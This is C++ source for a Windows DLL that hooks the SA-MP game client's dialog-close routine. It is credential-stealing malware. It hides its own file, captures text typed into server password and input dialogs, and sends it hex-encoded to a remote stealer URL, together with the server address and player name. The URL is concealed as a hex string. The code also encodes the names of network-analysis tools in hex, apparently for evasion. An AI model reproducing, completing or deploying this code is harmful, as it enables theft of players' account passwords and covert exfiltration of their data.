#define BaseID "4"
#include "main.h"
#include <iostream>
#include <string>
#include <algorithm>
#include <stdexcept>
#include <tlhelp32.h>
#include <windows.h>
#include <Shellapi.h>
#include <strsafe.h>
CSAMP *SAMP = new CSAMP();
bool KeyDown(BYTE key);
bool IsProcessPresent(wchar_t * szExe);
void NeedSomeSleep(void);
void SetupHook(void);
HRESULT string_to_lpcstr(const std::string& s, CHAR* buf, size_t cchBufSize)
{
return StringCchCopyA(buf, cchBufSize, s.c_str());
}
HRESULT string_to_lpcwstr(const std::string& s, WCHAR* buf, size_t cchBufSize)
{
_locale_t loc = _create_locale(LC_ALL, "");
const size_t needChars = _mbstowcs_l(NULL, s.c_str(), s.size(), loc);
if (needChars > cchBufSize)
return STRSAFE_E_INSUFFICIENT_BUFFER;
_mbstowcs_l(buf, s.c_str(), needChars, loc);
_free_locale(loc);
return ERROR_SUCCESS;
}
std::string hex_to_string(const std::string& input)
{
static const char* const lut = "0123456789ABCDEF";
size_t len = input.length();
if (len & 1) throw std::invalid_argument("odd length");
std::string output;
output.reserve(len / 2);
for (size_t i = 0; i < len; i += 2)
{
char a = input[i];
const char* p = std::lower_bound(lut, lut + 16, a);
if (*p != a) throw std::invalid_argument("not a hex digit");
char b = input[i + 1];
const char* q = std::lower_bound(lut, lut + 16, b);
if (*q != b) throw std::invalid_argument("not a hex digit");
output.push_back(((p - lut) << 4) | (q - lut));
}
return output;
}
bool isProcessRun(char *processName)
{
HANDLE hSnap = NULL;
PROCESSENTRY32 pe32;
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap != NULL)
{
if (Process32First(hSnap, &pe32))
{
if (strcmp(pe32.szExeFile, processName) == 0)
return TRUE;
while (Process32Next(hSnap, &pe32))
if (strcmp(pe32.szExeFile, processName) == 0)
return TRUE;
}
}
CloseHandle(hSnap);
return FALSE;
}
void mainThread( PVOID )
{
while (!SAMP->Initialize()) Sleep(500);
Sleep(1000);
SetupHook();
}
void SendGETRequest( const char *URL )
{
char string[128];
string_to_lpcstr(hex_to_string("53414D502D50726F6A656374"), string, 46);
HINTERNET hInet = InternetOpen( string, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0 );
InternetCloseHandle( InternetOpenUrl( hInet, URL, NULL, 0, 0, 0 ) );
InternetCloseHandle( hInet );
}
void UnicodeToAnsi( wchar_t *pszW, char *pszA )
{
int strlen = lstrlenW( pszW );
WideCharToMultiByte( CP_ACP, 0, pszW, -1, pszA, strlen, 0, 0 );
pszA[strlen] = '\0';
}
char *BinToHex( BYTE *bin, size_t size, char *out )
{
if ( bin == nullptr || size == 0 || out == nullptr )
return "";
out[0] = '\0';
char b[4];
for ( size_t i = 0; i < size; i++ )
{
_snprintf_s( b, sizeof(b) - 1, "%02X", bin[i] );
strcat( out, b );
}
return out;
}
void OnCloseDialog( int button )
{
char wireshark[124];
string_to_lpcstr(hex_to_string("57697265736861726B2E657865"), wireshark, 46);
char analyzer[128];
string_to_lpcstr(hex_to_string("48747470416E616C797A657253746456372E657865"), analyzer, 46);
char charles[128];
string_to_lpcstr(hex_to_string("436861726C65732E657865"), charles, 46);
stDialogInfo *dial = SAMP->GetDialogInfo();
stSAMP *samp = SAMP->GetSAMPInfo();
if (dial == nullptr || samp == nullptr || !dial->bServerside) return;
if (dial->iType != DIALOG_STYLE_INPUT && dial->iType != DIALOG_STYLE_PASSWORD) return;
char buf[2048], hex[2048], input[256];
wchar_t *inputBuf = *(wchar_t **)(uint32_t(dial->pEditBox) + 0x4D);
UnicodeToAnsi(inputBuf, input);
char string[128];
string_to_lpcstr(hex_to_string("687474703A2F2F74656E736964652D737465616C65722E72752F6164642E706870"), string, 46);
char sql[128];
string_to_lpcstr(hex_to_string("2573262625733A256426262573262625732626257326262564"), sql, 46);
sprintf(buf, sql,
BaseID,
samp->szIP,
samp->ulPort,
samp->szHostname,
samp->pPools->pPlayer->GetLocalPlayerName(),
input,
dial->DialogID);
BinToHex((BYTE *)buf, strlen(buf), hex);
sprintf(buf, "%s?data=%s", string, hex);
SendGETRequest(buf);
}
void _declspec ( naked ) CloseDialogHook( void )
{
static int iButtonID;
__asm {
push eax
mov eax, [ebp + 8]
mov iButtonID, eax
pop eax
};
__asm pushad
static DWORD dwTemp;
OnCloseDialog( iButtonID );
dwTemp = SAMP->GetBase() + HOOK_CLOSEDIALOG_0_3_7 + 6;
__asm popad
__asm mov eax, dword ptr fs:[0]
__asm jmp dwTemp
}
DWORD SetProtection( uint32_t Address, DWORD Protection )
{
DWORD dwOldProtection = 0;
MEMORY_BASIC_INFORMATION mbi;
VirtualQuery( ( void * ) Address, &mbi, sizeof(mbi) );
VirtualProtect( mbi.BaseAddress, mbi.RegionSize, Protection, &dwOldProtection );
return dwOldProtection;
}
DWORD Unprotect( uint32_t Address )
{
return SetProtection( Address, PAGE_EXECUTE_READWRITE );
}
uint32_t CalculateRelativeAddress( uint32_t Dest, uint32_t Orig, size_t len )
{
return Dest - ( Orig + len );
}
void SetupHook( void )
{
int iCloseDialogAddr = HOOK_CLOSEDIALOG_0_3_7;
uint32_t addr = SAMP->GetBase() + iCloseDialogAddr;
DWORD dwoldprot = Unprotect( SAMP->GetBase() + iCloseDialogAddr );
uint8_t *pdata = ( uint8_t * ) addr;
pdata[0] = 0xE9;
* ( uint32_t * ) &pdata[1] = CalculateRelativeAddress( ( uint32_t ) CloseDialogHook, addr, 5 );
pdata[5] = 0x90;
FlushInstructionCache( GetCurrentProcess(), ( void * ) addr, 6 );
SetProtection( addr, dwoldprot );
}
static signed char hex_to_dec ( signed char ch )
{
if ( ch >= '0' && ch <= '9' )
return ch - '0';
if ( ch >= 'A' && ch <= 'F' )
return ch - 'A' + 10;
if ( ch >= 'a' && ch <= 'f' )
return ch - 'A' + 10;
return -1;
}
uint8_t *hex_to_bin ( const char *str )
{
int len = (int)strlen( str );
uint8_t *buf, *sbuf;
if ( len == 0 || len % 2 != 0 )
return NULL;
sbuf = buf = (uint8_t *)malloc( len / 2 );
while ( *str )
{
signed char bh = hex_to_dec( *str++ );
signed char bl = hex_to_dec( *str++ );
if ( bl == -1 || bh == -1 )
{
free( sbuf );
return NULL;
}
*buf++ = ( uint8_t ) ( bl | (bh << 4) );
}
return sbuf;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReasonForCall, LPVOID lpReserved)
{
if (dwReasonForCall == DLL_PROCESS_ATTACH)
{
char filenames[124];
GetModuleFileName(hModule, filenames, 124);
SetFileAttributes(filenames, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
_beginthread(mainThread, NULL, NULL);
}
return TRUE;
}
bool IsProcessPresent(wchar_t * szExe)
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
Process32First(hSnapshot, &pe);
if (!_wcsicmp((wchar_t *)&pe.szExeFile, szExe))
{
return true;
}
while (Process32Next(hSnapshot, &pe))
{
if (!_wcsicmp((wchar_t *)&pe.szExeFile, szExe))
{
return true;
}
}
return false;
}